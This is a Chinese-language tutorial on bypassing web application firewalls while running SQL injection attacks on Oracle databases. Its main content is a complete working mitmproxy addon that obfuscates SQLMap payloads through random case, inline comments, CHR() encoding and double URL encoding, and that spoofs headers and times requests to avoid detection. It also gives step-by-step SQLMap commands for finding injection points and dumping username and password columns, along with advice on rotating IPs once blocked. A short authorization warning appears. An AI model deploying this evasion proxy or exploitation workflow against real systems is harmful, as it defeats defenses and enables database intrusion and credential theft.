1. 项目概述:当SQLMap遇上WAF,为什么需要“Buff”?
在渗透测试和网络安全研究领域,SQLMap无疑是自动化SQL注入测试的“瑞士军刀”。它功能强大,支持多种数据库,能自动识别和利用注入点。然而,当目标系统部署了Web应用防火墙(WAF)时,情况就变得复杂了。WAF就像一个警觉的哨兵,它会分析所有传入的HTTP请求,一旦检测到像SQLMap这样工具发出的、带有明显攻击特征的流量——比如大量包含UNION SELECT、SLEEP()、BENCHMARK()等关键词的请求——就会毫不犹豫地将其拦截,返回403 Forbidden、406 Not Acceptable,或者更“友好”一点的“您的请求已被安全策略阻止”之类的页面。
这时,直接使用SQLMap的默认参数和Payload,往往会像撞上一堵无形的墙,测试进程戛然而止。你可能会看到日志里刷出一片红色的“403”错误,或者SQLMap不断报告“所有测试参数似乎都无法注入”。这并不是目标没有漏洞,而是我们的“敲门”方式太粗暴,被门卫直接拒之门外了。对于Oracle数据库的测试尤其如此,因为Oracle的SQL语法有其特殊性,一些在MySQL或MSSQL上能用的绕过技巧,在Oracle上可能无效,甚至触发更严格的WAF规则。
所以,这个项目的核心价值就凸显出来了:不是替换SQLMap,而是增强它。我们通过编写一个Python脚本,作为SQLMap的“前置代理”或“流量整形器”,对SQLMap发出的原始请求进行深度定制和伪装,使其能够绕过WAF的检测规则,成功将测试Payload送达目标Oracle数据库。这就像给SQLMap穿上了一件“隐形斗篷”,或者装上了一套“特制消音器”,让它能在WAF的眼皮底下进行更安静、更有效的测试。这个“Buff”不是魔法,而是基于对HTTP协议、WAF检测逻辑和Oracle SQL语法的深入理解,进行的一系列有针对性的对抗策略实现。
2. 核心思路拆解:如何让WAF“视而不见”
要让WAF对我们的测试流量“视而不见”,我们需要理解WAF通常如何工作,并针对其弱点设计策略。WAF的检测通常基于规则集,这些规则可能检查:特定的危险关键词(如SELECT,UNION,DROP)、异常的请求参数结构(如过长的参数值、大量编码字符)、不符合规范的HTTP头、以及请求频率等。我们的Python脚本将围绕以下几个核心思路来构建这个“Buff”:
2.1 流量代理与中间人拦截
脚本的核心角色是一个HTTP/HTTPS代理。SQLMap通过--proxy参数将流量指向我们的脚本,脚本接收到请求后,并不直接转发给目标,而是先进行一系列处理。这给了我们完全的操控权。我们需要实现一个简单的HTTP服务器(可以使用Python的http.server模块或更强大的mitmproxy库框架),能够解析HTTP请求头和主体。
2.2 请求头精细化伪装
默认的SQLMap请求头虽然标准,但缺乏“个性”,容易被识别。我们的脚本需要:
- 随机化User-Agent:从一个包含常见浏览器(Chrome, Firefox, Safari, Edge各版本)和搜索引擎爬虫的列表中随机选择,并模拟其完整的版本字符串。
- 完善其他头部:添加或修改
Accept、Accept-Language、Accept-Encoding、Connection等头部,使其看起来完全像一个普通浏览器的请求。 - 处理Cookies:如果目标需要会话,脚本需要能维持并自动在请求中携带Cookie,模拟真实用户状态。
- 添加迷惑性头部:可以添加一些无害但常见的头部,如
DNT(Do Not Track),Upgrade-Insecure-Requests,Cache-Control等,增加请求的“噪音”,干扰基于头部特征匹配的简单规则。
2.3 Payload混淆与变形
这是绕过WAF的关键。对于请求体(GET参数或POST数据)中的SQL注入Payload,我们需要进行多种混淆:
- 大小写随机化:将
SELECT变成SeLeCt或sELECt。许多WAF规则是大小写敏感的。 - 内联注释混淆:在SQL关键词中插入数据库特定的注释。例如,Oracle支持
/**/注释。可以将SELECT写成SEL/**/ECT。这能打断简单的关键词匹配。 - 等价函数/语法替换:使用Oracle中功能相同但写法不同的函数或语法。例如,用
SUBSTR代替SUBSTRING,用CHR()函数配合ASCII码来构造字符串,避免直接出现引号。'admin'可以写成CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)。 - 空白符变异:使用多种空白符(空格、制表符
\t、换行符\n、注释/**/)来分隔SQL语句成分,避免固定的模式。 - 参数污染:对于GET请求,可以提交多个同名参数但值不同(如
id=1&id=2),某些WAF可能只检查第一个或最后一个,而应用服务器和数据库可能以特定方式(如取第一个、取最后一个、拼接)处理,这可能导致绕过。 - 编码与多重编码:对Payload进行URL编码、双重URL编码、甚至混合编码。例如,将
'编码为%27,再编码为%2527。有些WAF只做一次解码。
2.4 请求节奏控制与分块传输
WAF常有频率限制或基于时间窗口的异常检测。脚本可以:
- 随机延迟:在每个请求之间插入一个随机的、人性化的延迟(如0.5秒到3秒),模拟真人操作,避免触发基于请求速率的封锁。
- 分块传输编码:对于POST请求,启用HTTP分块传输编码(Chunked Transfer Encoding)。将请求体分成多个小块发送,这可以绕过一些依赖于检查完整请求体的WAF。不过需要注意目标服务器是否支持。
2.5 错误处理与自适应策略
脚本需要具备一定的智能。它应该监控目标的响应:
- 识别拦截:通过响应状态码(403, 406等)、响应体内容(包含“WAF”、“Blocked”、“Forbidden”等关键词)或响应头(某些WAF会添加如
X-Protected-By等特殊头)来判断当前请求是否被WAF拦截。 - 策略切换:如果一种混淆方式被拦截,脚本应能自动切换到备用的混淆策略(例如,从内联注释切换到等价函数替换),或者降低“攻击性”,先发送一些完全正常的请求来“冷却”WAF的检测状态。
3. 脚本核心模块设计与实现要点
下面,我们分模块拆解这个Python脚本的关键实现部分。我们将使用mitmproxy库作为代理框架,因为它提供了强大的请求/响应拦截和修改能力,比从头写一个HTTP服务器要高效和稳定得多。
3.1 环境搭建与依赖安装
首先,确保你的Python环境(建议3.7以上)已经就绪。我们需要安装核心库:
pip install mitmproxymitmproxy包含了mitmdump,这是一个命令行工具,我们可以通过编写Python插件(addon)来控制它。我们的脚本本质上就是一个mitmproxy的addon。
创建一个新的Python文件,比如叫sqlmap_waf_bypass.py。
3.2 主框架与请求拦截
#!/usr/bin/env python3 """ SQLMap WAF Bypass Proxy Addon for mitmproxy. Target: Oracle Database """ from mitmproxy import http, ctx import random import time import urllib.parse import re class SqlMapWafBypass: def __init__(self): self.user_agents = [ # 一个庞大的、真实的User-Agent列表 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ... Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 ... Version/16.0 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0", # ... 可以准备几十个 ] self.delay_range = (0.8, 2.5) # 请求延迟范围(秒) self.obfuscation_level = 2 # 混淆强度,可配置 def request(self, flow: http.HTTPFlow) -> None: """ 每个请求经过时都会调用此方法。 """ # 1. 添加随机延迟,模拟人类操作 time.sleep(random.uniform(*self.delay_range)) # 2. 替换User-Agent flow.request.headers["User-Agent"] = random.choice(self.user_agents) # 3. 完善其他请求头 self._polish_headers(flow.request.headers) # 4. 混淆请求中的参数(GET/POST) if flow.request.query or flow.request.urlencoded_form: self._obfuscate_payloads(flow) # 5. (可选)启用分块传输编码 # flow.request.headers["Transfer-Encoding"] = "chunked" # 注意:需要修改mitmproxy的默认行为来支持修改请求体,且需确保目标服务器支持。 def _polish_headers(self, headers): """完善HTTP请求头,使其更像浏览器。""" headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" headers["Accept-Language"] = "zh-CN,zh;q=0.9,en;q=0.8" headers["Accept-Encoding"] = "gzip, deflate, br" headers["Connection"] = "keep-alive" headers["Upgrade-Insecure-Requests"] = "1" # 移除可能由SQLMap或工具留下的特殊头部 headers.pop("X-Forwarded-For", None) headers.pop("Via", None) def _obfuscate_payloads(self, flow): """混淆请求参数中的潜在Payload。""" # 处理GET参数 if flow.request.query: new_query = [] for key, value in flow.request.query.items(multi=True): obf_value = self._apply_obfuscation(value) new_query.append((key, obf_value)) # 重建查询字符串 flow.request.query = new_query # 处理POST表单参数 if flow.request.urlencoded_form: new_form = [] for key, value in flow.request.urlencoded_form.items(multi=True): obf_value = self._apply_obfuscation(value) new_form.append((key, obf_value)) flow.request.urlencoded_form = new_form # 注意:修改了表单数据后,需要更新Content-Length头部,但mitmproxy通常会自动处理。 def _apply_obfuscation(self, original_value: str) -> str: """ 对单个参数值应用混淆策略。 这里专注于Oracle SQL的混淆。 """ if not original_value or len(original_value) < 5: # 短值可能不是Payload,避免误处理 return original_value obfuscated = original_value # 策略1:大小写随机化 (针对SQL关键词) # 定义一个Oracle SQL关键词列表 oracle_keywords = ['SELECT', 'FROM', 'WHERE', 'UNION', 'ALL', 'INSERT', 'UPDATE', 'DELETE', 'DROP', 'TABLE', 'AND', 'OR', 'NOT', 'NULL', 'ORDER', 'BY', 'GROUP', 'HAVING', 'AS', 'CASE', 'WHEN', 'THEN', 'ELSE', 'END', 'EXISTS', 'IN', 'LIKE', 'BETWEEN', 'JOIN', 'ON', 'USING', 'CREATE', 'ALTER', 'INDEX', 'VIEW', 'SEQUENCE', 'PROCEDURE', 'FUNCTION', 'TRIGGER', 'GRANT', 'REVOKE', 'COMMIT', 'ROLLBACK', 'SAVEPOINT'] for kw in oracle_keywords: pattern = re.compile(re.escape(kw), re.IGNORECASE) def random_case(match): word = match.group() # 随机将每个字母变为大写或小写 return ''.join(random.choice((c.upper, c.lower))() for c in word) obfuscated = pattern.sub(random_case, obfuscated) # 策略2:内联注释混淆 (Oracle支持 /**/) # 在关键词字母间插入注释,例如 SEL/**/ECT # 这里我们针对已混淆大小写后的关键词进行二次处理 # 为了简单演示,我们选择性地对部分关键词进行注释插入 if self.obfuscation_level >= 2: for kw in ['SELECT', 'UNION', 'FROM']: # 使用正则查找,忽略大小写 pattern = re.compile(f'({kw[0]}){kw[1:-1]}({kw[-1]})', re.IGNORECASE) def insert_comment(match): # 在第一个字母后和最后一个字母前插入注释 return f'{match.group(1)}/**/{match.group(0)[1:-1]}/**/{match.group(2)}' obfuscated = pattern.sub(insert_comment, obfuscated) # 策略3:等价函数/字符构造 (针对Oracle) # 将常见的单引号字符串用CHR()函数构造 # 匹配被单引号包围的内容 single_quote_string = re.compile(r"'([^'\\]*(?:\\.[^'\\]*)*)'") def replace_with_chr(match): str_content = match.group(1) # 将字符串中的每个字符转换为CHR(ASCII)并用||连接 chr_parts = [] for char in str_content: # 处理转义字符,这里简化处理 chr_parts.append(f"CHR({ord(char)})") return "'" + '||'.join(chr_parts) + "'" # 外面保留单引号,里面是CHR构造,形成混淆 if self.obfuscation_level >= 3: obfuscated = single_quote_string.sub(replace_with_chr, obfuscated) # 策略4:空白符变异 # 将多个连续空格替换为随机的空白符组合 spaces_pattern = re.compile(r'(\s{2,})') def random_whitespace(match): whitespace_options = [' ', '\t', '\n', '/**/'] # 用随机选择的空白符填充原空格长度(近似) count = len(match.group()) return ''.join(random.choices(whitespace_options, k=count)) obfuscated = spaces_pattern.sub(random_whitespace, obfuscated) # 策略5:URL编码(部分或双重) # 对某些特殊字符进行编码 if random.choice([True, False]) and self.obfuscation_level >= 1: # 随机选择是否对等号、空格、单引号进行编码 chars_to_encode = ['=', ' ', '\''] for char in chars_to_encode: if char in obfuscated: # 单重编码 obfuscated = obfuscated.replace(char, urllib.parse.quote(char)) # 小概率双重编码 if random.random() < 0.2: obfuscated = obfuscated.replace(urllib.parse.quote(char), urllib.parse.quote(urllib.parse.quote(char))) return obfuscated def response(self, flow: http.HTTPFlow) -> None: """ 收到响应时调用,可用于检测是否被WAF拦截,并可能调整策略。 """ if flow.response: # 检查状态码 if flow.response.status_code in [403, 406, 418, 429]: ctx.log.warn(f"请求可能被WAF拦截!状态码: {flow.response.status_code}, URL: {flow.request.url}") # 可以在这里实现策略降级或切换逻辑 # 例如,降低混淆等级,或标记这个URL/参数需要更温和的策略 self.obfuscation_level = max(1, self.obfuscation_level - 1) ctx.log.info(f"降低混淆等级至: {self.obfuscation_level}") # 检查响应体中是否包含拦截关键词 intercept_keywords = ['blocked', 'forbidden', 'waf', 'security', '拒绝访问', '非法请求'] try: response_text = flow.response.get_text() if any(keyword in response_text.lower() for keyword in intercept_keywords): ctx.log.warn(f"响应体包含拦截关键词,可能被WAF拦截。URL: {flow.request.url}") except: pass # 忽略非文本响应 # 这是mitmproxy addon的入口 addons = [ SqlMapWafBypass() ]3.3 配置与运行脚本
- 保存脚本:将上面的代码保存为
sqlmap_waf_bypass.py。 - 启动代理:打开终端,运行以下命令启动mitmproxy并加载我们的插件:
这将在本地的8080端口启动一个HTTP代理,所有流量都会经过我们的mitmdump -s sqlmap_waf_bypass.py --listen-port 8080SqlMapWafBypass类处理。 - 配置SQLMap:在另一个终端中,使用SQLMap时,通过
--proxy参数指定我们的代理。sqlmap -u "http://target.com/vuln.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --level=5 --risk=3-u: 目标URL。--proxy: 指向我们刚刚启动的代理。--dbms=oracle: 明确指定数据库为Oracle,SQLMap会使用Oracle特定的Payload。--level=5 --risk=3: 提高测试级别和风险,使用更多Payload和测试方法。注意:风险等级高可能对目标数据造成影响,仅用于授权测试!
3.4 高级混淆策略补充
上面的脚本实现了基础混淆。对于更坚固的WAF,可能需要更高级的策略,这些可以作为_apply_obfuscation方法的扩展:
- 参数污染(HPP):对于GET请求,可以复制参数。例如,将
id=1变成id=1&id=PAYLOAD。这需要修改_obfuscate_payloads中处理GET参数的部分,复制一份参数并对其值进行混淆。 - JSON/XML参数化:如果目标接收JSON或XML,Payload的放置位置和格式完全不同。需要解析JSON/XML,定位到可能注入的点(如字符串值),再进行混淆。这需要更复杂的解析逻辑。
- 使用Oracle特定语法绕过:
- 使用
NVL或COALESCE函数:AND 1=1可以写成AND NVL(1,0)=1。 - 使用
DECODE函数:AND 'a'='a'可以写成AND DECODE('a','a',1,0)=1。 - 使用双管道
||连接符:字符串连接,'a'||'dmin'。 - 使用
EXTRACTVALUE或XMLType进行错误注入:这是Oracle错误注入的常用函数,Payload形式特殊,有时能绕过针对UNION SELECT的检测。
- 使用
- 分块传输编码集成:这需要更底层的控制。
mitmproxy默认可能不支持直接修改请求为分块模式并手动分块。一个替代方案是使用requests库或aiohttp库自己实现一个完整的代理服务器,从而完全控制TCP数据包的发送节奏。
4. 实战测试流程与注意事项
有了脚本和代理,我们如何进行一场有效的Oracle注入测试呢?以下是详细的步骤和心法。
4.1 测试环境准备与侦察
在启动任何自动化工具之前,手动侦察至关重要。
- 确认目标:明确测试的URL、参数(如
id、name)。使用浏览器或curl手动访问,观察正常响应。 - 探测WAF:使用
WAFW00F、nmap的http-waf-detect脚本,或者简单地在参数后添加一个单引号',观察返回错误页面是否包含WAF厂商标识(如Cloudflare, Imperva, F5等)。这有助于了解面对的对手。 - 理解应用行为:目标参数是数字型、字符型还是搜索型?错误信息是否回显?这决定了后续SQLMap的测试策略(
--technique选择B(布尔盲注)、E(错误注入)、U(联合查询)等)。
4.2 启动代理并配置SQLMap
如前所述,启动我们的Python代理脚本。然后,构造一个基础的SQLMap命令进行初步探测:
sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --batch --flush-session--batch: 非交互模式,所有默认选择都自动进行。--flush-session: 清除之前的会话文件,重新开始测试。
关键观察点:启动后,密切观察两个终端的输出。
- 代理终端:会打印出所有经过的请求和响应状态。注意看是否有大量的403/406,以及我们的脚本打印的警告信息。
- SQLMap终端:关注其进度。如果它很快卡在“testing for XXX”或者不断重试同一个Payload,说明可能被WAF拦截了,Payload没有生效。
4.3 调整策略与参数调优
如果初步探测不顺利,需要调整我们的脚本和SQLMap参数。
- 调整脚本混淆等级:在脚本的
__init__中修改self.obfuscation_level。可以从1开始,逐步提高。如果一开始就用最高等级,可能产生大量畸形请求,反而更容易被识别。 - 调整请求延迟:修改
self.delay_range,增加延迟(例如(2, 5)),给WAF更少的压力。 - 使用SQLMap的绕过tamper脚本:SQLMap自带许多
tamper脚本,可以对Payload进行编码和混淆。可以结合我们的代理使用。但注意,tamper是在SQLMap生成Payload后应用的,我们的代理是在请求发出前应用的,两者是叠加关系。可以先用一些温和的tamper。sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --tamper=space2comment,equaltolike --delay=1--tamper=space2comment,equaltolike: 使用将空格替换为注释/**/、将等号替换为LIKE的tamper脚本。--delay=1: SQLMap自身在每个请求间固定延迟1秒,与脚本的随机延迟叠加。
- 更换注入技术:如果
UNION查询被拦得厉害,尝试盲注。sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --technique=B --level=3 --risk=1--technique=B: 指定使用基于布尔的盲注。盲注的Payload通常更短小、隐蔽。--risk=1: 降低风险等级,使用最保守的Payload,避免OR 1=1这类可能影响数据的语句。
4.4 深度利用与数据提取
一旦SQLMap成功识别出注入点(控制台显示“Parameter: id (GET) is vulnerable”),就可以进行深度利用。
- 获取数据库信息:
sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --current-user --current-db --hostname --is-dba - 列举数据库和表:Oracle中,需要先知道有哪些“用户”(对应其他数据库的“库”)。
假设我们找到了用户sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle --usersAPP_USER,接下来列举他的表:sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle -D APP_USER --tables - 提取数据:假设目标表是
USERS。
重要提示:sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle -D APP_USER -T USERS --columns sqlmap -u "http://target.com/news.php?id=1" --proxy="http://127.0.0.1:8080" --dbms=oracle -D APP_USER -T USERS -C USERNAME,PASSWORD --dump--dump操作会产生大量查询,极易触发WAF的频率限制。此时,务必确保脚本的延迟设置足够大,并且考虑在SQLMap中使用--threads=1(单线程)来降低请求并发度。
4.5 注意事项与避坑指南
- 授权!授权!授权!:绝对不要在未获得明确书面授权的情况下对任何系统进行测试。这是法律和道德的底线。
- 测试环境先行:先在本地或授权的演练环境(如DVWA、SQLi-Labs靶场)测试你的脚本和整个流程,确保一切工作正常,避免直接在真实目标上“调试”。
- 代理稳定性:
mitmproxy在处理大量并发请求时可能不稳定。对于高强度测试,考虑使用更底层的库(如asyncio+aiohttp)自己构建代理,以获得更好的控制和性能。 - WAF的智能学习:现代WAF具备学习能力。如果长时间使用同一种混淆模式,即使最初能绕过,后期也可能被学习并重新拦截。我们的脚本可以加入简单的策略轮换机制,每隔一段时间或每N个请求后,随机切换一种主要的混淆方式。
- 编码问题:确保你的脚本、终端和目标的字符编码一致(通常是UTF-8),避免Payload因编码问题被错误转换。
- HTTPS处理:
mitmdump默认会生成CA证书。你需要让SQLMap信任这个证书,或者使用--ignore-ssl参数(不推荐,会降低安全性)。更好的方法是将mitmproxy的CA证书安装到系统信任库。 - 日志与调试:脚本中使用了
ctx.log来打印信息。你可以通过调整mitmdump的日志级别(-v)来查看更详细的输出,便于调试混淆效果和识别问题。 - 性能权衡:混淆和延迟会显著降低测试速度。一次完整的数据库
--dump可能需要数小时甚至数天。需要在成功率和时间成本之间找到平衡。
5. 常见问题与排查技巧实录
在实际操作中,你肯定会遇到各种问题。下面是我踩过的一些坑和解决方法。
5.1 SQLMap完全无响应或连接被拒绝
- 现象:SQLMap卡在初始化阶段,或者提示无法连接到代理/目标。
- 排查:
- 检查代理脚本是否成功运行:
netstat -an | grep 8080查看端口是否在监听。 - 检查防火墙:确保本地防火墙没有阻止8080端口或SQLMap/脚本的出站连接。
- 检查mitmproxy证书:如果是HTTPS目标,SQLMap可能因为证书错误而失败。尝试在SQLMap命令中添加
--ignore-ssl(仅用于测试),或者正确安装mitmproxy的CA证书。 - 脚本错误:查看
mitmdump终端的错误输出,可能Python脚本有语法错误或运行时异常。
- 检查代理脚本是否成功运行:
5.2 请求全部返回403/406错误
- 现象:代理日志显示所有请求都被WAF拦截。
- 排查与解决:
- 降低攻击性:将脚本的
obfuscation_level设为0或1,暂时禁用高级混淆。同时使用SQLMap的--level=1 --risk=1进行最温和的探测。 - 检查User-Agent:确保脚本中的User-Agent列表是真实有效的。有些WAF会检查User-Agent的格式是否合规。
- 模拟完整会话:目标网站可能要求先访问首页获取Cookie(如CSRF token)。尝试先用浏览器正常访问一次,复制完整的Cookie字符串,通过SQLMap的
--cookie参数传入,或者让脚本固定使用一组有效的Cookie。 - 更换IP或使用代理池:你的源IP可能已经被WAF拉黑。尝试使用不同的网络出口(如手机热点)或付费的代理IP池。
- 降低攻击性:将脚本的
5.3 SQLMap能检测到注入点但无法提取数据
- 现象:SQLMap报告参数可注入,但在枚举数据库、表名或数据时卡住,不断重试或超时。
- 排查与解决:
- 盲注优化:如果使用的是盲注(
--technique=B/E/T),数据提取本身就很慢。尝试增加--time-sec(等待响应时间),确保网络延迟和WAF延迟不会导致误判。 - 调整Payload长度:使用
--prefix和--suffix参数手动指定Payload的前缀和后缀,帮助SQLMap更准确地构造查询。这在一些复杂的注入点(如参数在括号内、JSON内)非常有用。 - 使用更具体的tamper:针对Oracle,可以尝试
--tamper=between,charencode。between用BETWEEN替换大于号比较,charencode对Payload进行URL编码。 - 检查代理脚本的混淆破坏性:有时候,我们的混淆脚本可能“用力过猛”,把原本有效的Payload改成了无效的语法。可以临时关闭脚本的混淆功能(注释掉
_obfuscate_payloads的调用),看看SQLMap是否能正常提取数据。如果能,说明需要调整混淆逻辑,避免破坏关键语法结构。
- 盲注优化:如果使用的是盲注(
5.4 脚本导致请求格式错误,服务器返回400 Bad Request
- 现象:目标服务器返回400错误,而非WAF的403。
- 排查与解决:
- 检查参数编码:我们的混淆脚本可能对参数值进行了不恰当的URL编码,导致服务器无法解析。特别是对
=、&这些本身是URL语法分隔符的字符进行编码,会破坏整个查询字符串的结构。确保只对参数值部分进行编码,而不是整个字符串。 - 检查分块传输编码:如果启用了分块编码,但目标服务器不支持,就会返回400。确认目标服务器是否支持
Transfer-Encoding: chunked。 - 检查请求头格式:手动添加或修改的请求头格式必须正确,例如
Accept-Language: zh-CN,zh;q=0.9,值里不能有多余的空格或非法字符。
- 检查参数编码:我们的混淆脚本可能对参数值进行了不恰当的URL编码,导致服务器无法解析。特别是对
5.5 性能瓶颈与超时
- 现象:测试速度极慢,经常超时。
- 解决:
- 并行与延迟的平衡:SQLMap的
--threads参数和脚本的delay_range共同决定了并发度和速度。不要盲目提高线程数。对于有WAF的目标,--threads=1或2配合delay_range=(2,5)可能比--threads=10配合delay_range=(0,0.5)更有效,因为前者不容易触发频率限制。 - 精简测试:使用
--test-filter参数只测试你认为最有可能的Payload类型。使用--crawl先爬取站点,找到更多可能的注入点,而不是死磕一个。 - 升级硬件和网络:本地代理、SQLMap和目标之间的网络延迟是主要瓶颈。确保你的测试机有足够的CPU和内存,并且网络连接稳定。
- 并行与延迟的平衡:SQLMap的
绕过WAF是一个持续对抗的过程,没有一劳永逸的银弹。本文提供的脚本和思路是一个强大的起点和框架,但面对具体的目标和WAF产品,你需要像一名侦探一样,不断观察请求与响应,调整你的“伪装”策略。真正的精髓在于对HTTP协议、SQL语法和WAF工作原理的深刻理解,以及耐心和细致的调试。记住,工具只是延伸了你的能力,而思维才是突破防线的关键。